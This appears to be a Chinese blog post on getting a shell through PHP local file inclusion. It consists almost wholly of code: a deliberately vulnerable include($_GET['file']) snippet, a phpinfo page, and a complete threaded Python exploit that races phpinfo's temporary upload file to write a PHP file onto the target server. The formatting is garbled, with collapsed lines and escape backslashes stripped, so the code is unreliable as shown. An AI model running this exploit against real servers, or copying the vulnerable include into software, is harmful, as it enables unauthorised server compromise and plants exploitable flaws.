技术讨论 | PHP本地文件包含漏洞GetShell

<?php
if ((($_FILES["file"]["type"] == "image/gif")|| ($_FILES["file"]["type"] == "image/jpeg")|| ($_FILES["file"]["type"] == "image/pjpeg"))&& ($_FILES["file"]["size"] < 20000))  {  if ($_FILES["file"]["error"] > 0)    {    echo "Error: " . $_FILES["file"]["error"] . "<br />";    }  else    {    echo "Upload: " . $_FILES["file"]["name"] . "<br />";    echo "Type: " . $_FILES["file"]["type"] . "<br />";    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";    echo "Stored in: " . $_FILES["file"]["tmp_name"];    }  }else  {  echo "Invalid file";  }
?>

<?php phpinfo();?>

<?php$a=$_GET['file'];include($a);?>

#!/usr/bin/pythonimport sysimport threadingimport socket
def setup(host, port):    TAG = "Security Test"    PAYLOAD = """%sr<?php file_put_contents('aaa.php','<?php phpinfo();?>');?>r""" % TAG    REQ1_DATA = """-----------------------------7dbff1ded0714rContent-Disposition: form-data; name="dummyname"; filename="test.txt"rContent-Type: text/plainrr%s-----------------------------7dbff1ded0714--r""" % PAYLOAD    padding = "A" * 5000    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1rCookie: PHPSESSID=aqf2ev7vo5puq7bpbnihcs0pbdanfo1j; othercookie=""" + padding + """rHTTP_ACCEPT: """ + padding + """rHTTP_USER_AGENT: """ + padding + """rHTTP_ACCEPT_LANGUAGE: """ + padding + """rHTTP_PRAGMA: """ + padding + """rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714rContent-Length: %srHost: %srr%s""" % (len(REQ1_DATA), host, REQ1_DATA)    # modify this to suit the LFI script    LFIREQ = """GET /ec.php?file=%s HTTP/1.1rCookie: xxxxrUser-Agent: Mozilla/4.0rProxy-Connection: Keep-AliverHost: %srrr"""
    return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))    s2.connect((host, port))
    s.send(phpinforeq)    d = ""    while len(d) < offset:        d += s.recv(offset)    try:        i = d.index("[tmp_name] =&gt; ")        fn = d[i + 17:i + 48]        print(fn)    except ValueError:        return None
    s2.send(lfireq % (fn, host))    d = s2.recv(4096)    print(lfireq % (fn, host))    print(d)    s.close()    s2.close()
    if d.find(tag) != -1:        return fn
counter = 0
class ThreadWorker(threading.Thread):    def __init__(self, e, l, m, *args):        threading.Thread.__init__(self)        self.event = e        self.lock = l        self.maxattempts = m        self.args = args
    def run(self):        global counter        while not self.event.is_set():            with self.lock:                if counter >= self.maxattempts:                    return                counter += 1
            try:                x = phpInfoLFI(*self.args)                if self.event.is_set():                    break                if x:                    print                    "nGot it! Shell created in /tmp/g"                    self.event.set()
            except socket.error:                return
def getOffset(host, port, phpinforeq):    """Gets offset of tmp_name in the php output"""    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.connect((host, port))    s.send(phpinforeq)
    d = ""    while True:        i = s.recv(4096)        d += i        if i == "":            break        # detect the final chunk        if i.endswith("0rnrn"):            break    s.close()    i = d.find("[tmp_name] =&gt; ")    if i == -1:        raise ValueError("No php tmp_name in phpinfo output")
    print    "found %s at %i" % (d[i:i + 10], i)    # padded up a bit    return i + 256
def main():    print    "LFI With PHPInfo()"    print    "-=" * 30
    if len(sys.argv) < 2:        print        "Usage: %s host [port] [threads]" % sys.argv[0]        sys.exit(1)
    try:        host = socket.gethostbyname(sys.argv[1])    except socket.error, e:        print        "Error with hostname %s: %s" % (sys.argv[1], e)        sys.exit(1)
    port = 80    try:        port = int(sys.argv[2])    except IndexError:        pass    except ValueError as e:        print        "Error with port %d: %s" % (sys.argv[2], e)        sys.exit(1)
    poolsz = 10    try:        poolsz = int(sys.argv[3])    except IndexError:        pass    except ValueError, e:        print        "Error with poolsz %d: %s" % (sys.argv[3], e)        sys.exit(1)
    print    "Getting initial offset...",    reqphp, tag, reqlfi = setup(host, port)    offset = getOffset(host, port, reqphp)    sys.stdout.flush()
    maxattempts = 1000    e = threading.Event()    l = threading.Lock()
    print    "Spawning worker pool (%d)..." % poolsz    sys.stdout.flush()
    tp = []    for i in range(0, poolsz):        tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
    for t in tp:        t.start()    try:        while not e.wait(1):            if e.is_set():                break            with l:                sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts))                sys.stdout.flush()                if counter >= maxattempts:                    break        print        if e.is_set():            print            "Woot!  m/"        else:            print            ":("    except KeyboardInterrupt:        print        "nTelling threads to shutdown..."        e.set()
    print    "Shuttin' down..."    for t in tp:        t.join()
if __name__ == "__main__":    main()